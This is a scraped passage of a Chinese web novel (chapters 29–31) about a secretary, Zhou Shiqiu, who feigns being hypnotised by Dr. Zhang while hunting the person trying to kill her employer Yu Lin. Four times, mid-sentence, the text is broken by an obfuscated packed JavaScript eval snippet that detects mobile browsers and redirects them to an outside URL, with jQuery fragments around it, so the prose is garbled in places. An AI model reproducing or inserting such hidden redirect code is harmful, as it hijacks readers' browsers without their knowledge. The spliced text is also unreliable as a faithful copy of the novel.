张医生给人的感觉一直是随和、不具攻击性,能让人很快放下戒心的那种人。 他平时出现在病房时,都是口罩遮面,单看眼睛,就算不是严格意义上的帅哥,也绝对是中等偏上的颜值,干练的寸头,白皙的皮肤,衣服上残留着淡淡的洗衣液味道。 此刻取下口罩后,更加深了周拾秋对张医生的这种印象。 周拾秋忍不住想:这样的人,真适合成为幕后真凶。 “呵呵,当然不是,我想问问我家老板的情况。”周拾秋假装放松警惕,露出一脸担忧。 张医生安慰:“放心,撕裂的伤口已经处理好了,只要别再乱动,问题不大。” “不,我不是这个意思。”周拾秋故意露出一副扭捏模样,“我以前听说庾先生厌女,所以当他同意给我秘书这份工作时,我还挺高兴,就好像我很特别。” 张医生露出一丝意味深长的笑,叹道:“认识他这么久,确实从未见过他身边出现异性。” “所以他果然是厌女?”周拾秋身子前倾,双手搭在办公桌上,故作激动地询问。 张医生微微一顿,若有所思地看着周拾秋,试探道:“庾先生没告诉你关于他的病情吗?” “什么病情?你说他腹部受的伤?”周拾秋继续装傻。 张医生不答反问:“那他对你陪护有什么要求吗?” “有啊,他不许我打扰他休息,也不许我靠他太近。”周拾秋半真半假地编着答案,这让她的回答看上去不似作假。 “哦,这样啊……” 张医生果断选择了相信。 周拾秋便继续巩固自己的人设,紧张问道:“庾先生还有别的什么病吗?” 张医生毫不犹豫地摆了摆手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706527|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没,没有,他只是有些洁癖,你平时多注意些就行。” 张医生的嘴似乎关得挺严,并没有向周拾秋透露庾林的秘密,这让周拾秋更加迷惑。 难道自己想错了? 如果张医生是那个想杀庾林的人,他大可告诉别人庾林的秘密,没必要隐瞒才对。 周拾秋不禁陷入自我怀疑中。 见周拾秋眉头紧蹙,下意识咬着手指甲,张医生往前挪了挪椅子,伸手拿起桌上沙漏,把玩片刻,然后将沙漏倒置回桌上。 他带着些许关心,声音温柔地问道:“周小姐喜欢庾林吗?” 周拾秋留意到张医生的动作,视线自然而然落在沙漏上,只见上层的沙子正通过一个小孔,一点点往下落。 一时竟看得有些入迷,就好像看沙子落下比张医生说话有意思,恍惚间,耳边的声音也渐渐变得模糊,她甚至感觉能听见沙漏里的沙沙声。 这种感觉很奇怪,她仿佛置身于一片沙海,而沙海的深处,有一个诱人的声音,轻轻越过满目黄沙,附到耳边,低声细语:“你很喜欢庾林吧?” 然后这个问题便随着沙子一点一点渗进她脑海里,反复回荡,不断侵蚀着她的意识,直到将“喜欢”两个字死死刻入她脑海。 然后大脑自动向嘴巴发出了指示,在不受控制的情况下,周拾秋恍惚听到自己最终说出了“喜欢”两个字。 “嗯,你喜欢庾林,想要与他亲近吗?” 又是一句话带着一丝令人迷惑的朦胧感闯进她的意识中,疯狂地想要留下一席之地。 当发现这是一种类似于控制型异能的意识篡改能力时,周拾秋猛然清醒过来。 沙漏里的沙子依然在流逝,以一种挠人的速度,而那迷人心智的奇怪话语正是出自张医生之口。 周拾秋依然维持着紧盯沙漏的动作,只是从余光中,张医生此刻正神情阴鸷地望着她。 隐约间,张医生好像变了一个人,带上了些许攻击性。 周拾秋沉默着,思考了片刻,然后用一种看似失神的语调说:“想要亲近……” “你想成为对庾林来说独一无二的人吗?” 具有诱导性的话语再次传入周拾秋耳中。 周拾秋不敢从沙漏上移开视线,煎熬地控制着脸上表情,让自己看上去仿佛失去了自主意识。 “想成为独一无二的人。”她低声回道。 接着,她看到张医生嘴角露出了满意的笑容,一字一句念叨:“对,庾林也应该喜欢你才对,你就是那个特别的人。” 如果不是清醒了,周拾秋怀疑自己此刻已经被洗脑成功。放在桌面的手心微微出汗,她小心地握紧双手,跟着张医生的节奏念道:“庾林也喜欢我,我是特别的人。” 随着张医生引导的声音消失,沙漏上层的沙子也彻底落入下层,张医生起身轻轻拍了拍周拾秋的肩,周拾秋假装陡然回过神。 “好了,庾先生没什么大碍,你不必担心。” 张医生摆出一副准备送客的姿态,而眼中的攻击性已完全消失,又重回那个待人亲切的医生形象。 周拾秋起身连连道谢,往门外走了两步,又忍不住回头,故作娇羞地问:“张医生了解庾林吗?” 这句听上去没头没脑的话,却让张医生会心一笑。 他点了点头,毫无戒心地大方承认:“算吧,毕竟我们认识少说二十年了。” “那你一定知道庾林喜欢什么类型的女生吧?”周拾秋说话时,甚至表现出些许忐忑,想要再次加深自己已经入套的形象。 张医生果然不负周拾秋所望,眼中露出得逞的笑意,意有所指地回答: “也许喜欢像桑同学那样温婉的女子。” “桑同学?” 周拾秋一脸疑惑,这回倒不是演戏,她是真的有些困惑,为何会出现一个她不认识的人的话题。 这一次张医生没有直接回答,而是仿佛意识到自己失言一般,饱含歉意道:“啊,不,没什么,你不用在意,做自己就好,庾先生既然选你做秘书,肯定是欣赏你。” 周拾秋笑而不语,简短道别后,便匆匆离开了办公室。 29. 第029章 等周拾秋回到20层时,已近晚饭时间,她远远看见康管家站在2004病室门口敲门,手上拿着托盘,上面放着今晚为她准备的晚餐。 2003病室的房门敞开着,而两个保镖也已经回到了岗位。 很明显,进研所的两位专员已经离开了。 这让周拾秋松了口气,慢悠悠地走过去,远远叫了一声康管家,并笑容满面地站在了2003病室门前。 “我今晚陪庾总监吃饭,庆祝他死里逃生。” 周拾秋想着跟庾林打听点情况,于是一边伸长脖子往2003病室里张望,一边指了指坐在窗边的庾林,气定神闲地对康管家说道。 门口两名保镖见周拾秋靠近,不约而同展开手臂阻拦。 周拾秋只能回头望向康管家。 康管家面上有些为难,视线自然瞥向屋里,一时拿不定主意,只能根据此前庾林的态度,好言相劝:“庾先生现在需要静养,庆祝其实不用急于一时。” 他的话说得委婉,没有明说庾林不想她进入房间,可周拾秋心知肚明。 走廊里不时有人好奇地探头探脑,格外关注她这个守旧者秘书,周拾秋觉得机会难得,哪里肯轻易妥协。 她不气也不恼,反而用嗲声嗲气的语调朝房间里的人说道:“啊?可是人家今天不想一个人吃饭,就想陪陪庾哥哥嘛。” 说着言不由衷的话,周拾秋感觉胃里一阵翻滚,用尽毕生所学,差点把自己给恶心吐了。 门外三人皆是一脸震撼,视线在周拾秋和庾林之间来回切换,大气都不敢出,心中忍不住抱怨,自己这是卷进了什么要命的剧情里面。 屋里的庾林同样露出震惊脸,歪着脑袋,动作停滞,如同石化了一般,眼神困惑地盯着门外娇滴滴的周拾秋,感觉莫名其妙。 “嗯?庾哥哥真不打算放我进门吗?”周拾秋说话时带着鼻音,轻轻摇摆着身子,摆出一副期待的姿态。 筷子从庾林手里滑落,掉在桌上跳了两下,在凝固的空气中发出清脆的响声,试图终结这尴尬的场面。 “你,进来。” 带着些许愤怒的声音从庾林嘴里溜了出来。 保镖赶紧让到一旁,周拾秋和康管家便进了门。 似乎谁都不愿意让这个场景持续下去。 康管家关上门,又将饭菜送回餐桌上,一一摆放完毕,才示意周拾秋落座。 周拾秋面不改色地坐到了庾林的对面,而从她进门起,庾林想要刀人的目光就紧追着她不放。 一直到周拾秋坐下,庾林才开口:“你又在想什么?” “我能想什么呀,哥哥,当然是关心你咯。”周拾秋若无其事地吃着饭,还继续用夹子音回答着庾林的问题。 “说人话,这里没人看你表演。”庾林扶额轻叹。 吃了几口菜,周拾秋才终于不再夹着嗓子说话,但也没老实交代,而是口风一转,向庾林打听道:“进研所那两个人又跟你说啥了?” 庾林闻言面色有些阴沉,眉头微皱,声音低沉地回道:“他们在杨护士身上查出异能残留,并且发现这间房里也有。” “额……”周拾秋表情瞬间僵硬,感觉面前的饭都不香了,“然后呢?” 之前对杨护士出手时,她确实没想太多,完全忘了施煦能闻出异能残留的味道,心中不由得忐忑起来。 与她紧张的表现不同,庾林轻描淡写地回道:“他们只是问我,你什么时候进入医院。” 仅仅简单一句话,便将周拾秋眼底的情绪无限放大,手中的筷子被她捏得咯咯作响,她吞咽着口水,追问: “那你怎么回答?” 庾林从她紧绷的声线中听出些异常,抬眼看了看她,坦诚相告:“实话实说,目击者太多,这个答案做不了假。” 心底透出丝丝凉意,周拾秋下意识啃咬手指甲,眼神有些慌乱,在心中计算着可能出现的结果。 “他还说什么了?”她小心翼翼地问。 庾林说:“他又问你最近是否离开过这栋大楼。” “你怎么回答?”周拾秋的心已经跳到了嗓子眼,脸颊也因情绪染上了绯红。 庾林却在这个时候笑了,带着三分讥讽,两分欣慰:“怎么?乌鸦小姐总算意识到自己的处境了?” 此刻周拾秋哪有心情跟他斗嘴,直接起身伸手,隔着桌子掐住了庾林的两颊,气恼地说:“庾木木,你也该意识到自己的处境。” 偏偏这次没有吓到庾林,只见他稍稍低头,张嘴就咬向周拾秋的虎口,吓得周拾秋赶紧缩回手。 “庾木木,你是真的狗啊!”周拾秋揉着虎口,气呼呼地骂道。 虽然缩手及时,可指骨还是磕到了庾林的牙齿,细嫩的皮肤留下一个浅浅的牙印,她气恼地瞪着庾林。 庾林面露悔意,想起身看看她有没有受伤,却在周拾秋怒瞪下,收回刚刚抬起的手,他正襟危坐,嘴硬道:“你别再轻举妄动,他们应该怀疑不到你头上。” “说得轻巧,都询问我有没有离开过,显然是想确认我是否通过了异能探测仪的检测……” 周拾秋翻了个白眼,瘫坐回椅子上,心中无比惆怅。 下一秒,庾林往她碗里夹了点菜,不知是安抚,还是示好,表情平静地说:“我告诉他们,这三天我专心静养治疗,没留意你的动向。” “哦,你还真诚实。”周拾秋一边讽刺着,一边不领情地将碗里的菜退了回去。 “你先别急,听我说完。”庾林叹了口气,继续说道,“医院这么多人,还有监控,我让他们自己去调查。” “我真谢谢你!” 周拾秋已经在心里将庾林骂了八百遍,并下定决心,如果自己被抓,一定优先了结庾林这个害人精。 庾林看着她的眼睛,仿佛看穿了她的想法,苦笑道:“能不能别老想着让我陪葬……也不用这么悲观吧,说不定有人看见你出过大楼呢?那总能打消进研所专员对你的怀疑吧?” 听他这么说,周拾秋更无语了。 “你我都知道不可能的事……我哪敢走出这栋大楼……如果能自由进出,我又何必赶在探测仪安装前溜进大楼里?站着说话不腰疼……” 周拾秋骂骂咧咧,庾林却满眼笑意。 周拾秋不知道庾林为何能那么淡定,又厉声提醒道:“如果我被发现,你也会被判包庇罪。” “知道,你不用提醒。放心吧,只要你别再做什么出格的事,进研所查不到你。”庾林言辞肯定。 周拾秋被气笑:“你凭什么肯定?” 庾林耸了耸肩,看似轻松地回答:“也许是……直觉?” 男人的直觉? 什么鬼话…… 周拾秋并不相信,她根本没办法让自己放下心。 这场袭击发生得很不是时候,让她无意中又进入了进研所专员的视野,如果不尽快结束这个案子,她迟早会栽在褚成舟手里。 心里有了压力,周拾秋说话的语气不免强硬了些,她拿起筷子敲了敲桌子,一本正经地向庾林宣布道: “今天起,你不可阻止我进入房间,更不能阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720852|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我抓到那个人,毕竟我跟他,现在只能活一个。” 庾林或许没有想到她会有如此大的反应,目瞪口呆盯了她许久,一句话也说不出来。 “回答呢?”周拾秋催道。 “你好像没打算给我机会说不。”庾林摇着头。 “你说对了,我们有协议,你应该不想我破罐子破摔吧?”周拾秋威胁。 庾林无可奈何地叹了口气:“随你。” 周拾秋心满意足,匆匆吃完这顿饭,便着急离开了2003病室。返回对面房间后,她给何洲发了私信,又打电话给齐绮。 忙了一晚上,终于制定好接下来的计划,只等明天一早,何洲带上她需要的东西到医院,她便可以开始实施接下来的计划了。 次日一大早,周拾秋带着何洲出现在对面房间时,庾林刚起床喝水,一眼看到周拾秋,手里的水杯差点掉床上。 不仅因为周拾秋一改往日化妆习惯,还因为他一眼就分辨出,周拾秋的打扮不属于守旧者,而是理想者。 她化着成熟艳丽的妆容,长发盘起,穿着一字肩裹身长裙,一条银色的项链修饰着脖子与锁骨,胸口还别着一枚镶嵌宝石的花型胸针,优雅中透着点性感小心机。 这样打扮本无可厚非,可放到周拾秋身上,多多少少给人一种强扮成熟的感觉。 伴随着何洲的指导,周拾秋在房中摆着妖娆的姿势,大胆地冲庾林和康管家抛着媚眼,丝毫不在意二人的目光。 康管家捧场地替她鼓掌称赞:“今天周小姐真是……与平时大不相同……” 他想了半天才想出一句不痛不痒的赞词,心里还有一句“就是不太适合你”终是没能说出口。 周拾秋对这句夸奖很是受用,她笑道:“要的就是不同!” 庾林将一杯水一口气饮尽,故作淡定地调侃:“你这是要上哪儿约会?” 周拾秋露出一个高深莫测的笑容,自然地走到庾林面前,提着裙子转了个圈,笑嘻嘻地说:“再过几天,你就可以出院了,我打扮好看点,送你出院,你不该感激我吗?” “呵,几天后出院,几天前就开始打扮?”庾林根本不信。 “啧,这是我们危代人诚意的表现,你不懂。” 周拾秋嘴上埋怨着庾林的不解风情,但实际上她并不是为了打扮给庾林看,而是故意打扮给张医生看。 毕竟,她得让张医生得到一些正反馈,相信他的洗脑已经成功。 昨晚,周拾秋特意打电话给齐绮,咨询了如何让一个人看上去肉眼可见地喜欢上另一个人。 齐绮用她单身二十二年但丰富的看剧经验告诉周拾秋:“要说最明显,那肯定是外表上的改变。” 于是成就了周拾秋的浓妆艳抹。 “你们理想者的打扮,喜欢吗?” 周拾秋将长发往肩后一捋,再将一字领口往下拉了拉,露出性感的锁骨。 庾林顿时傻了眼,不答反问:“你不冷?” 对于这样的反应,周拾秋并不满意,转身对何洲抱怨道:“你这自由区流行打扮不行啊,你小舅舅看不上。” “肯定不是我的问题,这绝对是今年爆款,我觉得挺好啊,是小舅舅不懂欣赏。”何洲一脸不服气的样子,高声辩解。 庾林闭着眼,按压着眉心,满脸疲惫,一句话也不想说。 周拾秋忽然想起张医生的话,恍然大悟一般叫出声:“啊,我怎么给忘了。”她一脸好奇地转身,眼睛扑闪着望向庾林,“桑同学是什么样,我就打扮成什么样,不就行了吗?” 30. 第030章 提到“桑同学”,庾林和何洲皆露出一脸不可思议的表情。 “桑同学?兄弟,你不会说的是桑云海吧?”何洲饶有兴致地问道。 “我不知道。” 周拾秋两手一摊,耸了耸肩,她没听过这个名字,只是从张医生口中听到了“桑同学”三个字,她记得自己假意询问有关庾林的喜好时,张医生给了一个明确的答案。 ——“也许喜欢像桑同学那样温婉的女子。” 可当她继续追问时,张医生却不愿再继续聊下去,这反而引起了她的好奇心。 如此想来,这或许就是张医生的目的,在一个喜欢庾林的女人心里埋下一颗不安定的种子,就像杨护士袭击庾林时一般,怀疑庾林对自己的冷淡,是因为其他女人。 真是下了一手好棋。 周拾秋忍不住腹诽,既然如此,那她便顺水推舟,如张医生所愿,打听一下关于桑同学的消息,这样也方便自己下回继续演戏。 “张信跟你提的?”庾林面色阴沉,打断了周拾秋的思绪。 “嗯,他说你喜欢桑同学那样温婉的女孩子,真的吗?那是谁?你女朋友?不会吧,你性格这么差劲,还能有女生喜欢你?还是说,只是你单相思?” 周拾秋发出一连串疑问,每提问一句,便前进一步,不知不觉就走到了床边,双手撑在床上,以一种逼问的姿态,凑近到庾林面前。 庾林身子微微后仰,将水杯递到了周拾秋的面前,避免她再靠近,低声提醒:“太近了。” 就在庾林开口时,何洲已经惊慌地跑上前,一把抓住周拾秋的胳膊,将她拉开一段距离。 “兄弟,保持距离,你又忘了?” 何洲没明说,但满脸的担忧都在倾诉着庾林的心病。 见他那一惊一乍的模样,周拾秋强忍着偷笑,娇声道:“哎呀,太激动,一时忘了。” “这都能忘?你要这么说,我哪还敢放你留在这儿啊?” 何洲说着侧身拦在周拾秋身前,一副格外有担当的模样。 周拾秋则摆出忧心忡忡的表情,建议:“那你最近可能得住在这儿了,我得常出入这里呐。” 何洲点头回应:“你说得对,我还真不能走。” 说罢,两人同时望向了庾林。 庾林将水杯递给康管家,冰冷的视线从两人脸上扫过,漫不经心地说:“你们一唱一和演这一出,又有什么阴谋?” 何洲立马委屈地走上前,说:“你是我亲舅,我还能害你不成?” “呵,你自然不敢。”庾林冷笑。 周拾秋听出点内涵的味道,不满地跺了跺脚,“啧,你这意思是我要害你咯?” “你当然也不敢,除非你不打算还债了。”庾林轻松应对。 两句话成功噎住了周拾秋和何洲二人,这两人对视一眼,眼神中满是对霸权的不耻。 这一刻,他们统一战线,用眼神暗骂着剥削者。 庾林观察着两人的表情,无奈地叹了口气,出声打断了两人的眼神交流:“所以,乌鸦小姐,你究竟打算做什么?” 周拾秋扭头看向庾林,露出一脸人畜无害的笑容,拒不回答,调转话头道:“哎呀,明明是我先提问的,你们能不能不要岔开话题,究竟谁是桑同学?什么样子?我这身打扮需要如何改进?” 何洲立马附和着将话题转到了“桑同学”上,一边偷瞄着庾林,一边意有所指地引导道:“桑云海呀,这人我也不太熟,得问小舅舅,是他大学同学,凌云集团的千金,以前外公还考虑过两家联姻。” 这个话题庾林似乎并不乐于谈及,他瞪了何洲一眼,阴阳怪气道:“你知道得挺多。” 何洲后退一步,藏到周拾秋身后,“嘿嘿,我记性比较好。” “莫非真有什么故事?”周拾秋更是好奇,急忙追问,避免庾林又回避话题。 “没故事。”庾林冷冷道,“同学,认识,不存在喜欢哪种类型。” 周拾秋转头问何洲:“就这?你信吗?” 何洲冲她摇摇头:“反正我不信。” 周拾秋瘪嘴点头:“我也不信。” 面对一唱一和的两人,庾林觉得有些累,闭眼转向一侧,手指揉着太阳穴,语气百般无奈:“联姻是真,但那是六前的事,并且提出后便被我们否决,那时候小洲小学刚毕业,就他那天马行空的记忆力,你能信?” “哦。”周拾秋表示理解,“很合理,你这么阴暗孤僻,对方怎么可能同意。” “……乌鸦小姐真会抓重点……”庾林嘴角抽搐。 何洲急忙挺身而出,替他舅舅澄清:“不至于,以前没心病时,小舅舅挺阳光的。当时我真以为桑家千金会成为我小舅妈喃,难道真是我记错了?我还以为他们分手是因为突然出现的心病呢……” 这澄清显然庾林并不领情,他怒瞪了何洲一眼,恶狠狠地回应:“你有空去查查脑子,到底是如何无中生有出这么多没发生过的剧情……” 何洲一脸委屈,极力想要证明自己的记忆有理有据,而庾林已经堵住耳朵,根本不想听他胡说八道。 二人吵闹时,周拾秋却在思考着别的事。 比起庾林以前不阴暗孤僻这件事,更让她震惊的是,除了被她控制意识的白馨,以及不知被张信不知道用什么手段控制的杨护士,这世上还当真有人喜欢庾林这样的人。 沉默了片刻,周拾秋作出总结陈词: “庾木木,你难道是因为被桑同学拒绝,才有了心病?” 庾林一脸难以置信。 何洲若有所思,不一会儿,恍然大悟般,一拳捶在手掌上,惊呼:“原来如此,我还以为是因为五年前那件事,受了什么刺激呢……” 正当周拾秋和何洲想要就此事进行深入探讨时,房间内响起庾林寒气逼人的逐客令:“你们俩,都给我出去。” 康管家闻声而动,脸上堆着温和的笑,手上却不客气地推着二人往门外挪去。 何洲频频回头:“小舅舅,不至于啊,大家理性讨论,别发脾气嘛……” 周拾秋嘀咕:“看来被说中,恼羞成怒了……但是,能不能先告诉我桑同学什么样啊?” 就在吵嚷声中,突然响起一阵敲门声。 康管家推着周拾秋和何洲走到门边,打开房门,只见房间外站着张医生。 四人面面相觑,愣了一会儿。 最终,康管家率先打破了沉默,和善询问:“张医生来巡房?” 张医生点点头,又看向了一旁略带情绪的周拾秋和何洲,笑着问:“这是怎么了?我来的不是时候?” 周拾秋灵机一动,瘪嘴抱怨道:“还不是庾先生,嫌我们太吵了,要赶我们出去。人家天还没亮就起来,做了两个小时妆造,不喜欢就算了,还赶我走,哼……张医生,你给评评理,庾先生还想明天一早出院,回家休养……说得好听,不就是不想见我、我们嘛……” 这句话一出,整个场面冷却下来。 房间里突然没了声音,与走廊里的热闹形成强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731676|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对比。 何洲有些紧张,悄悄在身后拉了拉周拾秋的衣服,笑容僵在脸上,他自然知道周拾秋在胡说八道,可他更担心的是这种谎言会被庾林无情拆穿。 康管家一脸疑惑地望着周拾秋,不明白周拾秋究竟在说什么。 周拾秋只能偷偷用眼神示意,祈祷康管家不要多嘴。 张医生闻言,微微皱了皱眉,表情有些许不自然,可很快被笑容掩盖,他气定神闲地踱步进了房间,一边走到床边给庾林做检查,一边关心道:“怎么这么着急出院?自己的身体,还是谨慎些好。” 此时,所有人都聚焦到庾林身上,特别是周拾秋,已经做好只要庾林不配合就打断庾林的准备。 片刻令人窒息的沉默后,庾林轻声开口:“哦,这里总会有人来打扰,还不如回酒店安心,至少前台就能帮我拦下拜访者。” 庾林竟然顺着周拾秋的话说了下去,这让周拾秋和何洲都松了一口气,二人相视一笑。 “作为主治医生,我并不建议你现在就离开医院。”张医生态度不算强硬,只是好言相劝。 可庾林的语气就明显带着不容置喙的决绝:“明早我会让康管家办理出院手续,之后有什么事,就需要张医生亲自登门了。” 没有周拾秋预想的阻拦,甚至连多余的劝说都没有。 在庾林心意已决的告知后,张医生顺从地点了点头:“嗯,这是自然。” 这态度着实令周拾秋摸不着头脑,似乎一切都是庾林说了算,根本没人敢反抗他的意志。 一开始,周拾秋撒这个慌,不过是想让张医生有点紧迫性,至于最后的结果,就算是被张医生劝服也无所谓,对于周拾秋来说,这不过是走个形式罢了。 谁知,最后还真发展成庾林明早就要办理出院。 当然,这个结果对周拾秋来说,算不上坏事。 她需要赶在褚成舟调查她前,将这个案子彻底终结。 张医生检查完庾林的身体后,安静地准备离开,走到门边又对周拾秋和何洲说:“你们也别打扰庾先生了,他的伤势确实需要静养。” “哦……”何洲不情不愿地应了一声,转而对周拾秋说,“走吧,先回对面房间,我再帮你研究一下妆容问题。” 周拾秋一脸惋惜地回头望了望病床上坐着的人,唉声叹气地跟着何洲走出了房间。 当三人离开房间,康管家锁上了房门。 周拾秋指了指对面的房门,对何洲说:“要不你先回房等等我,我有点事想跟张医生聊聊。” 何洲点了点头,独自一人回了房。 “怎么了?周小姐有什么想问的吗?”张医生笑容满面地开口。 周拾秋东张西望,一副小心谨慎的模样,扭捏道:“这里不太方便,要不去张医生的办公室?” 张医生点了点头,抬手示意周拾秋跟他走。 就在二人准备离开时,身后房门突然打开,康管家紧追上前,递给周拾秋一件外套,并小声说道:“庾先生让你穿上。” 周拾秋一时有些不懂,庾林这又是唱的哪一出,但她虚伪地笑着接过那件对她来说过于宽大的外套,一边披到身上,一边念叨:“真是给一巴掌,再送一颗枣。” 一旁的张医生见状却露出了意味深长的笑。 看着周拾秋随张医生离开20层走廊后,康管家才回到房间里,一脸严肃地向庾林汇报:“周小姐随张医生下楼了。” “看来他们都准备行动了……”庾林一脸阴沉地说道。 31. 第031章 安静的房间里,庾林靠坐在床头,翻看着杂志,不时传来一阵“哗哗”声,那些不感兴趣的书页,被他匆匆略过。 康管家在开放式厨房里忙碌着,一边煮着茶,一边用手机翻阅着今日推荐菜单,准备预订今天的午餐。 忽然一阵铃声响起,吸引了庾林的目光。 康管家接起电话,与电话那头的人交谈了几句,挂断电话后,他给庾林倒了一杯茶,送到床边,说:“张医生让我去一趟3楼办公室,说是想谈谈你出院的事。我把门禁卡留给何先生,去去就回。” 庾林没有说话,只是随意点了点头。 等交代完毕,康管家离开房间,锁上门,去到对面。 庾林依旧漫不经心地翻看着杂志,偶尔悠哉地喝一口茶,享受着无人时的宁静。 约莫过了5、6分钟,房间里又响起一阵铃声。 那铃声格外陌生,庾林竖起耳朵聆听了好一会儿,才意识到那声音出自床头柜上的手机。 有人居然直接打电话给他。 心里猜想着,来电的人究竟是庾双还是何洲,庾林臭着一张脸,拿起了手机。 只见屏幕上显示着一个陌生的名字——最伟大的危代人。 庾林重重叹了一口气,终是按下了接听键,有些不耐烦地询问:“乌鸦小姐又有什么指教?” 手机里传来周拾秋的声音,没头没尾的一句命令:“开门。” 庾林已经渐渐习惯了周拾秋的想一出是一出,不想同她计较,便冷冷回道:“门禁卡在小洲手上。” 说完就想挂电话,可一声急切的叫嚷带着惊人的穿透力,刺穿了庾林的耳膜。 ——“不行!” 庾林慌忙让手机远离,一边揉着耳朵,一边诧异地盯着未挂断的通话界面,心有余悸地点开了免提,然后耐着性子说:“你最好能解释清楚你要做什么。” 周拾秋有些不好意思地笑了起来,降低音量,带着歉意撒娇道:“嘻嘻,有点激动了,没吓到你吧?哎呀,人家只是不想有人跟过来打扰罢了。” “打扰?”庾林总觉得哪里不对劲,不由自主地挑了挑眉,“要说打扰,你才是最打扰的那个吧?” “庾哥哥,你就让人家进去嘛,昂?好不好嘛?” 肉麻的撒娇声自手机那头传来,激得庾林浑身一颤,一股股凉意缓缓爬上后背,漫过后颈,最后让他头皮发麻。 周拾秋的表现明显与平时不同,只要她这么说话,十有八九又要搞幺蛾子。 庾林无奈地掐断了通话,捂着腹部,慢悠悠地下了床,不情不愿地开个门。 门外,周拾秋穿着不合身的外套,一张小脸白里透红,笑容满面地朝他招手。 一见他开门,周拾秋便与门外两个保镖擦身而过,迫不及待地踏进房中,并顺势关闭了房门。 庾林漫不经心地往回走,声音一如既往冷淡地询问:“你刚又去找张医生做什么?” 周拾秋看着庾林的背影,忽然收敛了笑容,站在门边没有动弹,也没有说话,只是双眼无神地死死盯住庾林。 庾林一直走回床边,也没等到回应。长时间的沉默,终于引起庾林的注意,他转过身,想看看周拾秋到底在干什么。 谁知一转身,周拾秋的脸陡然出现在眼前,距离他只有两步之遥,他竟没有发现,周拾秋悄无声息地跟在了他身后。 周拾秋的嘴角上扬,目不转睛地盯着他看,不知为何,给人一种瘆人的感觉,连笑容都透着几分阴森。 庾林被这突然出现的一幕吓了一跳,猛然后退,大腿刚好撞上床沿,一个没站稳,便跌坐在床上。 “嘶——” 一声低哼,庾林表情扭曲,伸手护住腹部,缓了好一会儿,才消化掉那阵痛感。 他抬眼看了看周拾秋的眼睛,没有在里面看出恶意,才稍微松了口气,语气不满地说道:“这又是走哪儿学的吓人把戏?我可没你这么闲,有事赶紧说了回房,别打扰我休息。” 不料话音刚落,周拾秋便发出“咯咯”的怪笑,表情阴鸷地低声念叨。 “你总是这样,傲慢,无理,高高在上……” “是不是别人在你眼里都形同蝼蚁?” “我不是你召之即来挥之即去的玩物!” 阵阵低语声中,周拾秋抬起手来,寒光一闪,一把锋利的水果刀正被她握在手里。 庾林心头一紧,想要起身避让,竟有些腿软,双腿就像失去了控制一样,他只能瘫坐在床边,眼睁睁看着周拾秋举起刀,一步步向他靠近。 周拾秋脸上露出狰狞的笑,神神叨叨地嘀咕着:“你怎么可以不喜欢我?我不是你的玩物!” 随着一声嘶吼,周拾秋高举着刀冲上前,用尽全力向庾林刺去。 幸好求生的本能让庾林回过神,他反应神速地抓起枕头挡下了这一刀。 刀刃穿透枕芯,刀尖刺穿枕套,距离庾林的脸,只有一掌的距离。 动作太过用力,腹部感受到强烈的拉扯感,一阵阵痛感刺激着庾林本就紧绷的神经。可他现在根本顾不上身体的疼痛,用力转动枕头,带着水果刀偏离原本轨迹,下一秒,脱离了周拾秋的掌控。 庾林调转方向,用力一挥,枕头连带着水果刀便飞了出去,落到了窗边角落里。 趁着周拾秋愣神寻找凶器的间隙,庾林一个翻身,躲到了床的另一边,与周拾秋隔床对峙。 然而,这样的动作,注定拉扯到腹部旧伤,庾林的衣服上又隐隐染上一丝殷红,并缓缓向四周扩散开来。 庾林咬着牙,嘴唇和面色一样泛白,豆大的汗滴从鬓角滑落,连带着呼吸声也变得沉重起来。 周拾秋没有立马靠近,而是仔细观察着猎物,盯着庾林的一举一动,毫无理智地威胁道:“想跑?又想推开我吗?别做梦了,我绝不会放过你,我得不到的,谁也别想得到。” 庾林一边喘着气,一边思索着究竟是怎么一回事,他从周拾秋的眼中没有看出杀意,可周拾秋的行为又打消了他的天真想法。 因为这里超绝的隔音效果,房间里的动静丝毫没有惊动门外保镖,庾林简直觉得这间病房才是最佳杀人场所,不禁有些无语。 周拾秋看了看厨房,然后转身去拿新的刀具,就在这一瞬间,为庾林创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不一会儿,康管家回来,看着地上晕倒的周拾秋,和守在周拾秋身边一脸得意的何洲,还有不知所措的保镖,以及面色铁青呆立在门边的庾林,整个人都不好了,转身就给张医生打了电话,让他赶紧来看看庾林的伤势。 